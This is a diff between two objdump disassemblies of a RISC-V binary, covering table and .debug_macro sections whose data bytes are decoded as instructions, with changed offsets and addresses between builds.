+ 148:	2126                	fld	ft2,72(sp)
  14a:	2040                	fld	fs0,128(s0)
- 14c:	214a                	fld	ft2,144(sp)
+ 14c:	2142                	fld	ft2,16(sp)
  14e:	2040                	fld	fs0,128(s0)
- 150:	216c                	fld	fa1,192(a0)
+ 150:	2220                	fld	fs0,64(a2)
  152:	2040                	fld	fs0,128(s0)
- 154:	21c8                	fld	fa0,128(a1)
+ 154:	2298                	fld	fa4,0(a3)
  156:	2040                	fld	fs0,128(s0)
 	...
- 160:	209c                	fld	fa5,0(s1)
+ 160:	212a                	fld	ft2,136(sp)
  162:	2040                	fld	fs0,128(s0)
- 164:	20a0                	fld	fs0,64(s1)
+ 164:	2142                	fld	ft2,16(sp)
  166:	2040                	fld	fs0,128(s0)
- 168:	218c                	fld	fa1,0(a1)
+ 168:	225e                	fld	ft4,464(sp)
  16a:	2040                	fld	fs0,128(s0)
- 16c:	21c2                	fld	ft3,16(sp)
+ 16c:	2282                	fld	ft5,0(sp)
  16e:	2040                	fld	fs0,128(s0)
+ 170:	228e                	fld	ft5,192(sp)
+ 172:	2040                	fld	fs0,128(s0)
+ 174:	2298                	fld	fa4,0(a3)
+ 176:	2040                	fld	fs0,128(s0)
 	...
- 178:	21c8                	fld	fa0,128(a1)
- 17a:	2040                	fld	fs0,128(s0)
- 17c:	21c8                	fld	fa0,128(a1)
- 17e:	2040                	fld	fs0,128(s0)
- 180:	21ee                	fld	ft3,216(sp)
+ 180:	21e4                	fld	fs1,192(a1)
  182:	2040                	fld	fs0,128(s0)
- 184:	2262                	fld	ft4,24(sp)
+ 184:	21e6                	fld	ft3,88(sp)
  186:	2040                	fld	fs0,128(s0)
- 188:	227e                	fld	ft4,472(sp)
+ 188:	21f8                	fld	fa4,192(a1)
  18a:	2040                	fld	fs0,128(s0)
- 18c:	22ec                	fld	fa1,192(a3)
+ 18c:	2210                	fld	fa2,0(a2)
  18e:	2040                	fld	fs0,128(s0)
 	...
- 198:	21f0                	fld	fa2,192(a1)
- 19a:	2040                	fld	fs0,128(s0)
- 19c:	2256                	fld	ft4,336(sp)
- 19e:	2040                	fld	fs0,128(s0)
- 1a0:	227e                	fld	ft4,472(sp)
+ 198:	0001                	nop
+ 19a:	0000                	unimp
+ 19c:	0001                	nop
+ 19e:	0000                	unimp
+ 1a0:	1e64                	addi	s1,sp,828
  1a2:	2040                	fld	fs0,128(s0)
- 1a4:	22ec                	fld	fa1,192(a3)
+ 1a4:	1f10                	addi	a2,sp,944
  1a6:	2040                	fld	fs0,128(s0)
-	...
- 1b0:	2216                	fld	ft4,320(sp)
- 1b2:	2040                	fld	fs0,128(s0)
- 1b4:	221e                	fld	ft4,448(sp)
- 1b6:	2040                	fld	fs0,128(s0)
- 1b8:	223e                	fld	ft4,456(sp)
+ 1a8:	1f10                	addi	a2,sp,944
+ 1aa:	2040                	fld	fs0,128(s0)
+ 1ac:	2046                	fld	ft0,80(sp)
+ 1ae:	2040                	fld	fs0,128(s0)
+ 1b0:	0001                	nop
+ 1b2:	0000                	unimp
+ 1b4:	0001                	nop
+ 1b6:	0000                	unimp
+ 1b8:	2046                	fld	ft0,80(sp)
  1ba:	2040                	fld	fs0,128(s0)
- 1bc:	2256                	fld	ft4,336(sp)
+ 1bc:	2298                	fld	fa4,0(a3)
  1be:	2040                	fld	fs0,128(s0)
 	...
- 1c8:	236c                	fld	fa1,192(a4)
+ 1c8:	230e                	fld	ft6,192(sp)
  1ca:	2040                	fld	fs0,128(s0)
- 1cc:	2374                	fld	fa3,192(a4)
+ 1cc:	231e                	fld	ft6,448(sp)
  1ce:	2040                	fld	fs0,128(s0)
- 1d0:	2380                	fld	fs0,0(a5)
+ 1d0:	2328                	fld	fa0,64(a4)
  1d2:	2040                	fld	fs0,128(s0)
- 1d4:	2384                	fld	fs1,0(a5)
+ 1d4:	2334                	fld	fa3,64(a4)
  1d6:	2040                	fld	fs0,128(s0)
- 1d8:	23b2                	fld	ft7,264(sp)
- 1da:	2040                	fld	fs0,128(s0)
- 1dc:	23f8                	fld	fa4,192(a5)
- 1de:	2040                	fld	fs0,128(s0)
 	...
- 1e8:	24e0                	fld	fs0,200(s1)
+ 1e0:	234e                	fld	ft6,208(sp)
+ 1e2:	2040                	fld	fs0,128(s0)
+ 1e4:	235a                	fld	ft6,400(sp)
+ 1e6:	2040                	fld	fs0,128(s0)
+ 1e8:	2366                	fld	ft6,88(sp)
  1ea:	2040                	fld	fs0,128(s0)
- 1ec:	24e4                	fld	fs1,200(s1)
+ 1ec:	2386                	fld	ft7,64(sp)
  1ee:	2040                	fld	fs0,128(s0)
- 1f0:	2514                	fld	fa3,8(a0)
- 1f2:	2040                	fld	fs0,128(s0)
- 1f4:	2544                	fld	fs1,136(a0)
- 1f6:	2040                	fld	fs0,128(s0)
 	...
- 200:	25b8                	fld	fa4,72(a1)
+ 1f8:	2298                	fld	fa4,0(a3)
+ 1fa:	2040                	fld	fs0,128(s0)
+ 1fc:	229c                	fld	fa5,0(a3)
+ 1fe:	2040                	fld	fs0,128(s0)
+ 200:	229c                	fld	fa5,0(a3)
  202:	2040                	fld	fs0,128(s0)
- 204:	25be                	fld	fa1,456(sp)
+ 204:	22a4                	fld	fs1,64(a3)
  206:	2040                	fld	fs0,128(s0)
- 208:	25c4                	fld	fs1,136(a1)
+ 208:	22a4                	fld	fs1,64(a3)
  20a:	2040                	fld	fs0,128(s0)
- 20c:	25c8                	fld	fa0,136(a1)
+ 20c:	22c6                	fld	ft5,80(sp)
  20e:	2040                	fld	fs0,128(s0)
-	...
- 218:	2714                	fld	fa3,8(a4)
+ 210:	22c6                	fld	ft5,80(sp)
+ 212:	2040                	fld	fs0,128(s0)
+ 214:	22cc                	fld	fa1,128(a3)
+ 216:	2040                	fld	fs0,128(s0)
+ 218:	22cc                	fld	fa1,128(a3)
  21a:	2040                	fld	fs0,128(s0)
- 21c:	2728                	fld	fa0,72(a4)
+ 21c:	22d0                	fld	fa2,128(a3)
  21e:	2040                	fld	fs0,128(s0)
- 220:	2738                	fld	fa4,72(a4)
+ 220:	22d0                	fld	fa2,128(a3)
  222:	2040                	fld	fs0,128(s0)
- 224:	2a7a                	fld	fs4,408(sp)
+ 224:	22fe                	fld	ft5,472(sp)
  226:	2040                	fld	fs0,128(s0)
- 228:	2a7a                	fld	fs4,408(sp)
+ 228:	22fe                	fld	ft5,472(sp)
  22a:	2040                	fld	fs0,128(s0)
- 22c:	2a7c                	fld	fa5,208(a2)
+ 22c:	2338                	fld	fa4,64(a4)
  22e:	2040                	fld	fs0,128(s0)
- 230:	2a92                	fld	fs5,256(sp)
+ 230:	2338                	fld	fa4,64(a4)
  232:	2040                	fld	fs0,128(s0)
- 234:	2b1c                	fld	fa5,16(a4)
+ 234:	238a                	fld	ft7,128(sp)
  236:	2040                	fld	fs0,128(s0)
 	...
- 240:	27b2                	fld	fa5,264(sp)
- 242:	2040                	fld	fs0,128(s0)
- 244:	27c6                	fld	fa5,80(sp)
- 246:	2040                	fld	fs0,128(s0)
- 248:	2816                	fld	fa6,320(sp)
- 24a:	2040                	fld	fs0,128(s0)
- 24c:	2822                	fld	fa6,8(sp)
- 24e:	2040                	fld	fs0,128(s0)
-	...
- 258:	2928                	fld	fa0,80(a0)
- 25a:	2040                	fld	fs0,128(s0)
- 25c:	2936                	fld	fs2,328(sp)
- 25e:	2040                	fld	fs0,128(s0)
- 260:	2aba                	fld	fs5,392(sp)
- 262:	2040                	fld	fs0,128(s0)
- 264:	2ac6                	fld	fs5,80(sp)
- 266:	2040                	fld	fs0,128(s0)
-	...
- 270:	2958                	fld	fa4,144(a0)
- 272:	2040                	fld	fs0,128(s0)
- 274:	295e                	fld	fs2,464(sp)
- 276:	2040                	fld	fs0,128(s0)
- 278:	29b4                	fld	fa3,80(a1)
- 27a:	2040                	fld	fs0,128(s0)
- 27c:	29c0                	fld	fs0,144(a1)
- 27e:	2040                	fld	fs0,128(s0)
-	...
- 288:	29ec                	fld	fa1,208(a1)
- 28a:	2040                	fld	fs0,128(s0)
- 28c:	29f0                	fld	fa2,208(a1)
- 28e:	2040                	fld	fs0,128(s0)
- 290:	29fc                	fld	fa5,208(a1)
- 292:	2040                	fld	fs0,128(s0)
- 294:	2a00                	fld	fs0,16(a2)
- 296:	2040                	fld	fs0,128(s0)
- 298:	2a0e                	fld	fs4,192(sp)
- 29a:	2040                	fld	fs0,128(s0)
- 29c:	2a26                	fld	fs4,72(sp)
- 29e:	2040                	fld	fs0,128(s0)
-	...
- 2a8:	19ac                	addi	a1,sp,248
- 2aa:	2040                	fld	fs0,128(s0)
- 2ac:	19be                	slli	s3,s3,0x2f
- 2ae:	2040                	fld	fs0,128(s0)
- 2b0:	19be                	slli	s3,s3,0x2f
- 2b2:	2040                	fld	fs0,128(s0)
- 2b4:	1c8a                	slli	s9,s9,0x22
- 2b6:	2040                	fld	fs0,128(s0)
- 2b8:	1c8a                	slli	s9,s9,0x22
- 2ba:	2040                	fld	fs0,128(s0)
- 2bc:	1e04                	addi	s1,sp,816
- 2be:	2040                	fld	fs0,128(s0)
- 2c0:	1e04                	addi	s1,sp,816
- 2c2:	2040                	fld	fs0,128(s0)
- 2c4:	206c                	fld	fa1,192(s0)
- 2c6:	2040                	fld	fs0,128(s0)
- 2c8:	206c                	fld	fa1,192(s0)
- 2ca:	2040                	fld	fs0,128(s0)
- 2cc:	21c8                	fld	fa0,128(a1)
- 2ce:	2040                	fld	fs0,128(s0)
- 2d0:	21c8                	fld	fa0,128(a1)
- 2d2:	2040                	fld	fs0,128(s0)
- 2d4:	22ec                	fld	fa1,192(a3)
- 2d6:	2040                	fld	fs0,128(s0)
- 2d8:	22ec                	fld	fa1,192(a3)
- 2da:	2040                	fld	fs0,128(s0)
- 2dc:	26f8                	fld	fa4,200(a3)
- 2de:	2040                	fld	fs0,128(s0)
- 2e0:	26f8                	fld	fa4,200(a3)
- 2e2:	2040                	fld	fs0,128(s0)
- 2e4:	2b1c                	fld	fa5,16(a4)
- 2e6:	2040                	fld	fs0,128(s0)
- 2e8:	189c                	addi	a5,sp,112
- 2ea:	2040                	fld	fs0,128(s0)
- 2ec:	19ac                	addi	a1,sp,248
- 2ee:	2040                	fld	fs0,128(s0)
-	...
- 2f8:	2b96                	fld	fs7,320(sp)
- 2fa:	2040                	fld	fs0,128(s0)
- 2fc:	2ba6                	fld	fs7,72(sp)
- 2fe:	2040                	fld	fs0,128(s0)
- 300:	2bb0                	fld	fa2,80(a5)
- 302:	2040                	fld	fs0,128(s0)
- 304:	2bbc                	fld	fa5,80(a5)
- 306:	2040                	fld	fs0,128(s0)
-	...
- 310:	2bd8                	fld	fa4,144(a5)
- 312:	2040                	fld	fs0,128(s0)
- 314:	2be4                	fld	fs1,208(a5)
- 316:	2040                	fld	fs0,128(s0)
- 318:	2bf0                	fld	fa2,208(a5)
- 31a:	2040                	fld	fs0,128(s0)
- 31c:	2c10                	fld	fa2,24(s0)
- 31e:	2040                	fld	fs0,128(s0)
-	...
- 328:	2b1c                	fld	fa5,16(a4)
- 32a:	2040                	fld	fs0,128(s0)
- 32c:	2b20                	fld	fs0,80(a4)
- 32e:	2040                	fld	fs0,128(s0)
- 330:	2b20                	fld	fs0,80(a4)
- 332:	2040                	fld	fs0,128(s0)
- 334:	2b28                	fld	fa0,80(a4)
- 336:	2040                	fld	fs0,128(s0)
- 338:	2b28                	fld	fa0,80(a4)
- 33a:	2040                	fld	fs0,128(s0)
- 33c:	2b4a                	fld	fs6,144(sp)
- 33e:	2040                	fld	fs0,128(s0)
- 340:	2b4a                	fld	fs6,144(sp)
- 342:	2040                	fld	fs0,128(s0)
- 344:	2b50                	fld	fa2,144(a4)
- 346:	2040                	fld	fs0,128(s0)
- 348:	2b50                	fld	fa2,144(a4)
- 34a:	2040                	fld	fs0,128(s0)
- 34c:	2b54                	fld	fa3,144(a4)
- 34e:	2040                	fld	fs0,128(s0)
- 350:	2b54                	fld	fa3,144(a4)
- 352:	2040                	fld	fs0,128(s0)
- 354:	2b84                	fld	fs1,16(a5)
- 356:	2040                	fld	fs0,128(s0)
- 358:	2b84                	fld	fs1,16(a5)
- 35a:	2040                	fld	fs0,128(s0)
- 35c:	2bc0                	fld	fs0,144(a5)
- 35e:	2040                	fld	fs0,128(s0)
- 360:	2bc0                	fld	fs0,144(a5)
- 362:	2040                	fld	fs0,128(s0)
- 364:	2c14                	fld	fa3,24(s0)
- 366:	2040                	fld	fs0,128(s0)
-	...
- 370:	0002                	c.slli64	zero
- 372:	0000                	unimp
- 374:	0002                	c.slli64	zero
- 376:	0000                	unimp
- 378:	0004                	0x4
- 37a:	0000                	unimp
- 37c:	017a                	slli	sp,sp,0x1e
- 37e:	0000                	unimp
- 380:	017c                	addi	a5,sp,140
- 382:	0000                	unimp
- 384:	0358                	addi	a4,sp,388
- 386:	0000                	unimp
- 388:	035a                	slli	t1,t1,0x16
- 38a:	0000                	unimp
- 38c:	0360                	addi	s0,sp,396
-	...
- 396:	0000                	unimp
- 398:	001a                	c.slli	zero,0x6
- 39a:	0000                	unimp
- 39c:	003e                	c.slli	zero,0xf
- 39e:	0000                	unimp
- 3a0:	00c6                	slli	ra,ra,0x11
- 3a2:	0000                	unimp
- 3a4:	00d4                	addi	a3,sp,68
-	...
- 3ae:	0000                	unimp
- 3b0:	00c2                	slli	ra,ra,0x10
- 3b2:	0000                	unimp
- 3b4:	00c6                	slli	ra,ra,0x11
- 3b6:	0000                	unimp
- 3b8:	0268                	addi	a0,sp,268
- 3ba:	0000                	unimp
- 3bc:	0358                	addi	a4,sp,388
-	...
- 3c6:	0000                	unimp
- 3c8:	0278                	addi	a4,sp,268
- 3ca:	0000                	unimp
- 3cc:	0280                	addi	s0,sp,320
- 3ce:	0000                	unimp
- 3d0:	0290                	addi	a2,sp,320
- 3d2:	0000                	unimp
- 3d4:	02f6                	slli	t0,t0,0x1d
- 3d6:	0000                	unimp
- 3d8:	02f8                	addi	a4,sp,332
- 3da:	0000                	unimp
- 3dc:	02fa                	slli	t0,t0,0x1e
- 3de:	0000                	unimp
- 3e0:	0306                	slli	t1,t1,0x1
- 3e2:	0000                	unimp
- 3e4:	030a                	slli	t1,t1,0x2
-	...
- 3ee:	0000                	unimp
- 3f0:	02f6                	slli	t0,t0,0x1d
- 3f2:	0000                	unimp
- 3f4:	02f8                	addi	a4,sp,332
- 3f6:	0000                	unimp
- 3f8:	02fa                	slli	t0,t0,0x1e
- 3fa:	0000                	unimp
- 3fc:	0306                	slli	t1,t1,0x1
- 3fe:	0000                	unimp
- 400:	030a                	slli	t1,t1,0x2
- 402:	0000                	unimp
- 404:	0336                	slli	t1,t1,0xd
- 406:	0000                	unimp
- 408:	033e                	slli	t1,t1,0xf
- 40a:	0000                	unimp
- 40c:	034a                	slli	t1,t1,0x12
- 40e:	0000                	unimp
- 410:	034e                	slli	t1,t1,0x13
- 412:	0000                	unimp
- 414:	0350                	addi	a2,sp,388
-	...
- 41e:	0000                	unimp
- 420:	00dc                	addi	a5,sp,68
- 422:	0000                	unimp
- 424:	0100                	addi	s0,sp,128
- 426:	0000                	unimp
- 428:	017c                	addi	a5,sp,140
- 42a:	0000                	unimp
- 42c:	018a                	slli	gp,gp,0x2
-	...
- 436:	0000                	unimp
- 438:	019e                	slli	gp,gp,0x7
- 43a:	0000                	unimp
- 43c:	01a2                	slli	gp,gp,0x8
- 43e:	0000                	unimp
- 440:	01a6                	slli	gp,gp,0x9
- 442:	0000                	unimp
- 444:	0216                	slli	tp,tp,0x5
-	...
- 44e:	0000                	unimp
- 450:	021a                	slli	tp,tp,0x6
- 452:	0000                	unimp
- 454:	0246                	slli	tp,tp,0x11
- 456:	0000                	unimp
- 458:	025a                	slli	tp,tp,0x16
- 45a:	0000                	unimp
- 45c:	0268                	addi	a0,sp,268
-	...
- 466:	0000                	unimp
- 468:	0002                	c.slli64	zero
- 46a:	0000                	unimp
- 46c:	00b0                	addi	a2,sp,72
- 46e:	0000                	unimp
- 470:	00b2                	slli	ra,ra,0xc
- 472:	0000                	unimp
- 474:	0340                	addi	s0,sp,388
-	...
- 47e:	0000                	unimp
- 480:	0018                	0x18
- 482:	0000                	unimp
- 484:	003c                	addi	a5,sp,8
- 486:	0000                	unimp
- 488:	00b2                	slli	ra,ra,0xc
- 48a:	0000                	unimp
- 48c:	00c0                	addi	s0,sp,68
-	...
- 496:	0000                	unimp
- 498:	00c8                	addi	a0,sp,68
- 49a:	0000                	unimp
- 49c:	00ec                	addi	a1,sp,76
- 49e:	0000                	unimp
- 4a0:	0150                	addi	a2,sp,132
- 4a2:	0000                	unimp
- 4a4:	015e                	slli	sp,sp,0x17
-	...
- 4ae:	0000                	unimp
- 4b0:	0166                	slli	sp,sp,0x19
- 4b2:	0000                	unimp
- 4b4:	016e                	slli	sp,sp,0x1b
- 4b6:	0000                	unimp
- 4b8:	0178                	addi	a4,sp,140
- 4ba:	0000                	unimp
- 4bc:	017e                	slli	sp,sp,0x1f
- 4be:	0000                	unimp
- 4c0:	0182                	c.slli64	gp
- 4c2:	0000                	unimp
- 4c4:	01d2                	slli	gp,gp,0x14
-	...
- 4ce:	0000                	unimp
- 4d0:	01d6                	slli	gp,gp,0x15
- 4d2:	0000                	unimp
- 4d4:	0202                	c.slli64	tp
- 4d6:	0000                	unimp
- 4d8:	0220                	addi	s0,sp,264
- 4da:	0000                	unimp
- 4dc:	022e                	slli	tp,tp,0xb
-	...
- 4e6:	0000                	unimp
- 4e8:	023e                	slli	tp,tp,0xf
- 4ea:	0000                	unimp
- 4ec:	0242                	slli	tp,tp,0x10
- 4ee:	0000                	unimp
- 4f0:	0246                	slli	tp,tp,0x11
- 4f2:	0000                	unimp
- 4f4:	024a                	slli	tp,tp,0x12
- 4f6:	0000                	unimp
- 4f8:	0254                	addi	a3,sp,260
- 4fa:	0000                	unimp
- 4fc:	025a                	slli	tp,tp,0x16
- 4fe:	0000                	unimp
- 500:	025e                	slli	tp,tp,0x17
- 502:	0000                	unimp
- 504:	02c0                	addi	s0,sp,324
- 506:	0000                	unimp
- 508:	02c2                	slli	t0,t0,0x10
- 50a:	0000                	unimp
- 50c:	02c4                	addi	s1,sp,324
- 50e:	0000                	unimp
- 510:	02cc                	addi	a1,sp,324
- 512:	0000                	unimp
- 514:	02ce                	slli	t0,t0,0x13
-	...
- 51e:	0000                	unimp
- 520:	02c0                	addi	s0,sp,324
- 522:	0000                	unimp
- 524:	02c2                	slli	t0,t0,0x10
- 526:	0000                	unimp
- 528:	02c4                	addi	s1,sp,324
- 52a:	0000                	unimp
- 52c:	02cc                	addi	a1,sp,324
- 52e:	0000                	unimp
- 530:	02ce                	slli	t0,t0,0x13
- 532:	0000                	unimp
- 534:	0308                	addi	a0,sp,384
-	...
 
 Disassembly of section .debug_macro:
 
@@ -40835,5016 +29604,5587 @@ Disassembly of section .debug_macro:
        2:	f802                	fsw	ft0,48(sp)
        4:	0000                	unimp
        6:	0700                	addi	s0,sp,896
-       8:	030c                	addi	a1,sp,384
+       8:	02fe                	slli	t0,t0,0x1f
        a:	0000                	unimp
        c:	03010003          	lb	zero,48(sp)
-      10:	01030a03          	lb	s4,16(t1)
-      14:	ee02050b          	0xee02050b
-      18:	0039                	c.nop	14
+      10:	01030b03          	lb	s6,16(t1) # 19010 <__stack_size+0x18810>
+      14:	050c                	addi	a1,sp,640
+      16:	f402                	fsw	ft0,40(sp)
+      18:	003a                	c.slli	zero,0xe
       1a:	0300                	addi	s0,sp,384
-      1c:	06050403          	lb	s0,96(a0) # ffff7060 <_heap_end+0x7ffe8860>
-      20:	73bc                	flw	fa5,96(a5)
-      22:	0000                	unimp
-      24:	050c0703          	lb	a4,80(s8)
-      28:	2408                	fld	fa0,8(s0)
-      2a:	0016                	c.slli	zero,0x5
+      1c:	06050903          	lb	s2,96(a0) # 19060 <__stack_size+0x18860>
+      20:	00007457          	0x7457
+      24:	050d0703          	lb	a4,80(s10) # 1a050 <__stack_size+0x19850>
+      28:	7308                	flw	fa0,32(a4)
+      2a:	0015                	c.nop	5
       2c:	0300                	addi	s0,sp,384
-      2e:	0d0a                	slli	s10,s10,0x2
+      2e:	0e0a                	slli	t3,t3,0x2
       30:	0805                	addi	a6,a6,1
-      32:	6bc6                	flw	fs7,80(sp)
+      32:	6c64                	flw	fs1,92(s0)
       34:	0000                	unimp
-      36:	070e0e03          	lb	t3,112(t3)
-      3a:	0a12                	slli	s4,s4,0x4
+      36:	070f0e03          	lb	t3,112(t5)
+      3a:	0a04                	addi	s1,sp,272
       3c:	0000                	unimp
       3e:	0704                	addi	s1,sp,896
-      40:	0a34                	addi	a3,sp,280
+      40:	0a26                	slli	s4,s4,0x9
       42:	0000                	unimp
       44:	0304                	addi	s1,sp,384
-      46:	02050f0b          	0x2050f0b
-      4a:	55d6                	lw	a1,116(sp)
+      46:	0205100b          	0x205100b
+      4a:	5704                	lw	s1,40(a4)
       4c:	0000                	unimp
-      4e:	07100403          	lb	s0,113(zero) # 71 <__stack_size-0x78f>
-      52:	0a80                	addi	s0,sp,336
+      4e:	07110403          	lb	s0,113(sp)
+      52:	0a72                	slli	s4,s4,0x1c
       54:	0000                	unimp
       56:	0304                	addi	s1,sp,384
-      58:	1105                	addi	sp,sp,-31
-      5a:	000a9907          	0xa9907
+      58:	1205                	addi	tp,tp,-31
+      5a:	000a8b07          	0xa8b07
       5e:	0400                	addi	s0,sp,512
-      60:	000b2d07          	flw	fs10,0(s6)
+      60:	000b1f07          	0xb1f07
       64:	0400                	addi	s0,sp,512
-      66:	000b6107          	0xb6107
+      66:	000b5307          	0xb5307
       6a:	0400                	addi	s0,sp,512
-      6c:	05120803          	lb	a6,81(tp) # 51 <__stack_size-0x7af>
-      70:	006a502b          	0x6a502b
+      6c:	05130803          	lb	a6,81(t1)
+      70:	006af22b          	0x6af22b
       74:	0300                	addi	s0,sp,384
       76:	022d                	addi	tp,tp,11
-      78:	000b9507          	0xb9507
+      78:	000b8707          	0xb8707
       7c:	0400                	addi	s0,sp,512
-      7e:	07132f03          	lw	t5,113(t1)
-      82:	0bec                	addi	a1,sp,476
+      7e:	07142f03          	lw	t5,113(s0) # ffff8071 <_heap_end+0x7ffe9871>
+      82:	0bde                	slli	s7,s7,0x17
       84:	0000                	unimp
       86:	0704                	addi	s1,sp,896
-      88:	0d60                	addi	s0,sp,668
+      88:	0d52                	slli	s10,s10,0x14
       8a:	0000                	unimp
       8c:	0704                	addi	s1,sp,896
-      8e:	00001093          	slli	ra,zero,0x0
-      92:	1401d203          	lhu	tp,320(gp) # 8000e1b0 <__global_pointer$+0x140>
-      96:	05151603          	lh	a2,81(a0)
-      9a:	7106                	flw	ft2,96(sp)
+      8e:	1085                	addi	ra,ra,-31
+      90:	0000                	unimp
+      92:	1501d203          	lhu	tp,336(gp) # ffff9150 <_heap_end+0x7ffea950>
+      96:	05161603          	lh	a2,81(a2) # ffff9051 <_heap_end+0x7ffea851>
+      9a:	d306                	sw	ra,164(sp)
       9c:	009e                	slli	ra,ra,0x7
       9e:	0400                	addi	s0,sp,512
-      a0:	0012b707          	fld	fa4,1(t0) # 1194667 <__stack_size+0x1193e67>
+      a0:	0012a907          	flw	fs2,1(t0) # 119461b <__stack_size+0x1193e1b>
       a4:	0300                	addi	s0,sp,384
-      a6:	162d                	addi	a2,a2,-21
-      a8:	0012c707          	flq	fa4,1(t0)
+      a6:	172d                	addi	a4,a4,-21
+      a8:	0012b907          	fld	fs2,1(t0)
       ac:	0300                	addi	s0,sp,384
-      ae:	1318                	addi	a4,sp,416
-      b0:	0012dd07          	0x12dd07
+      ae:	1418                	addi	a4,sp,544
+      b0:	0012cf07          	flq	ft10,1(t0)
       b4:	0400                	addi	s0,sp,512
-      b6:	00132007          	flw	ft0,1(t1)
+      b6:	00131207          	0x131207
       ba:	0400                	addi	s0,sp,512
       bc:	07032e03          	lw	t3,112(t1)
-      c0:	1354                	addi	a3,sp,420
+      c0:	1346                	slli	t1,t1,0x31
       c2:	0000                	unimp
       c4:	0304                	addi	s1,sp,384
-      c6:	1731                	addi	a4,a4,-20
+      c6:	1831                	addi	a6,a6,-20
       c8:	0205                	addi	tp,tp,1
-      ca:	6b61                	lui	s6,0x18
-      cc:	0000                	unimp
-      ce:	07180603          	lb	a2,113(a6)
-      d2:	13be                	slli	t2,t2,0x2f
+      ca:	00006c03          	0x6c03
+      ce:	07190603          	lb	a2,113(s2) # 17071 <__stack_size+0x16871>
+      d2:	13b0                	addi	a2,sp,488
       d4:	0000                	unimp
       d6:	0704                	addi	s1,sp,896
-      d8:	13da                	slli	t2,t2,0x36
+      d8:	13cc                	addi	a1,sp,484
       da:	0000                	unimp
       dc:	0304                	addi	s1,sp,384
-      de:	1932                	slli	s2,s2,0x2c
+      de:	1a32                	slli	s4,s4,0x2c
       e0:	0205                	addi	tp,tp,1
-      e2:	78ea                	flw	fa7,184(sp)
+      e2:	7974                	flw	fa3,116(a0)
       e4:	0000                	unimp
-      e6:	051a0e03          	lb	t3,81(s4)
-      ea:	0094ab27          	fsw	fs1,22(s1)
+      e6:	051b0e03          	lb	t3,81(s6) # 1a051 <__stack_size+0x19851>
+      ea:	00955a27          	0x955a27
       ee:	0400                	addi	s0,sp,512
-      f0:	071b0f03          	lb	t5,113(s6) # 18071 <__stack_size+0x17871>
-      f4:	142c                	addi	a1,sp,552
+      f0:	071c0f03          	lb	t5,113(s8) # 18071 <__stack_size+0x17871>
+      f4:	141e                	slli	s0,s0,0x27
       f6:	0000                	unimp
       f8:	0304                	addi	s1,sp,384
-      fa:	1c10                	addi	a2,sp,560
+      fa:	1d10                	addi	a2,sp,688
       fc:	2305                	jal	61c <__stack_size-0x1e4>
-      fe:	3870                	fld	fa2,240(s0)
-     100:	0000                	unimp
-     102:	051d2603          	lw	a2,81(s10) # fffe9051 <_heap_end+0x7ffda851>
-     106:	0125                	addi	sp,sp,9
-     108:	0400003b          	0x400003b
-     10c:	00144e07          	flq	ft8,1(s0)
+      fe:	00003963          	0x3963
+     102:	051e2603          	lw	a2,81(t3) # 16051 <__stack_size+0x15851>
+     106:	0e25                	addi	t3,t3,9
+     108:	003c                	addi	a5,sp,8
+     10a:	0400                	addi	s0,sp,512
+     10c:	00144007          	flq	ft0,1(s0)
      110:	0400                	addi	s0,sp,512
-     112:	00145e07          	0x145e07
+     112:	00145007          	0x145007
      116:	0400                	addi	s0,sp,512
-     118:	00149e07          	0x149e07
+     118:	00149007          	0x149007
      11c:	0300                	addi	s0,sp,384
-     11e:	01df 051e 9813      	0x9813051e01df
-     124:	0080                	addi	s0,sp,64
+     11e:	01df 051f 1b13      	0x1b13051f01df
+     124:	0081                	addi	ra,ra,0
      126:	0300                	addi	s0,sp,384
-     128:	73071f17          	auipc	t5,0x73071
+     128:	65072017          	auipc	zero,0x65072
      12c:	0015                	c.nop	5
      12e:	0400                	addi	s0,sp,512
-     130:	00158f07          	0x158f07
+     130:	00158107          	0x158107
      134:	0400                	addi	s0,sp,512
-     136:	2001e003          	0x2001e003
+     136:	2101e003          	0x2101e003
      13a:	0604                	addi	s1,sp,768
      13c:	01e4                	addi	s1,sp,204
-     13e:	2ad9                	jal	314 <__stack_size-0x4ec>
+     13e:	2ba4                	fld	fs1,80(a5)
      140:	0000                	unimp
      142:	0304                	addi	s1,sp,384
-     144:	052101d3          	0x52101d3
-     148:	df02                	sw	zero,188(sp)
+     144:	052201d3          	0x52201d3
+     148:	2e02                	fld	ft8,0(sp)
      14a:	0015                	c.nop	5
      14c:	0300                	addi	s0,sp,384
-     14e:	2209                	jal	250 <__stack_size-0x5b0>
+     14e:	2309                	jal	650 <__stack_size-0x1b0>
      150:	0805                	addi	a6,a6,1
-     152:	6c20                	flw	fs0,88(s0)
+     152:	6cbe                	flw	fs9,204(sp)
      154:	0000                	unimp
-     156:	040c0a03          	lb	s4,64(s8)
-     15a:	05230c03          	lb	s8,82(t1)
-     15e:	0082e10b          	0x82e10b
+     156:	040d0a03          	lb	s4,64(s10)
+     15a:	05240c03          	lb	s8,82(s0)
+     15e:	0083670b          	0x83670b
      162:	0300                	addi	s0,sp,384
-     164:	130e                	slli	t1,t1,0x23
+     164:	140e                	slli	s0,s0,0x23
      166:	0704                	addi	s1,sp,896
-     168:	15cc                	addi	a1,sp,740
+     168:	15be                	slli	a1,a1,0x2f
      16a:	0000                	unimp
-     16c:	07242203          	lw	tp,114(s0)
-     170:	15dc                	addi	a5,sp,740
+     16c:	07252203          	lw	tp,114(a0)
+     170:	15ce                	slli	a1,a1,0x33
      172:	0000                	unimp
      174:	0704                	addi	s1,sp,896
-     176:	162e                	slli	a2,a2,0x2b
+     176:	1620                	addi	s0,sp,808
      178:	0000                	unimp
      17a:	0704                	addi	s1,sp,896
-     17c:	17b0                	addi	a2,sp,1000
+     17c:	17a2                	slli	a5,a5,0x28
      17e:	0000                	unimp
-     180:	07131003          	lh	zero,113(t1)
-     184:	17c0                	addi	s0,sp,996
+     180:	07141003          	lh	zero,113(s0)
+     184:	17b2                	slli	a5,a5,0x2c
      186:	0000                	unimp
      188:	0304                	addi	s1,sp,384
-     18a:	f5072513          	slti	a0,a4,-176
+     18a:	e7072613          	slti	a2,a4,-400
      18e:	04000017          	auipc	zero,0x4000
-     192:	00180507          	0x180507
+     192:	0017f707          	0x17f707
      196:	0300                	addi	s0,sp,384
-     198:	2620                	fld	fs0,72(a2)
+     198:	2720                	fld	fs0,72(a4)
      19a:	0405                	addi	s0,s0,1
-     19c:	000038ef          	jal	a7,319c <__stack_size+0x299c>
+     19c:	39e2                	fld	fs3,56(sp)
+     19e:	0000                	unimp
      1a0:	0704                	addi	s1,sp,896
-     1a2:	1815                	addi	a6,a6,-27
-     1a4:	0000                	unimp
+     1a2:	00001807          	0x1807
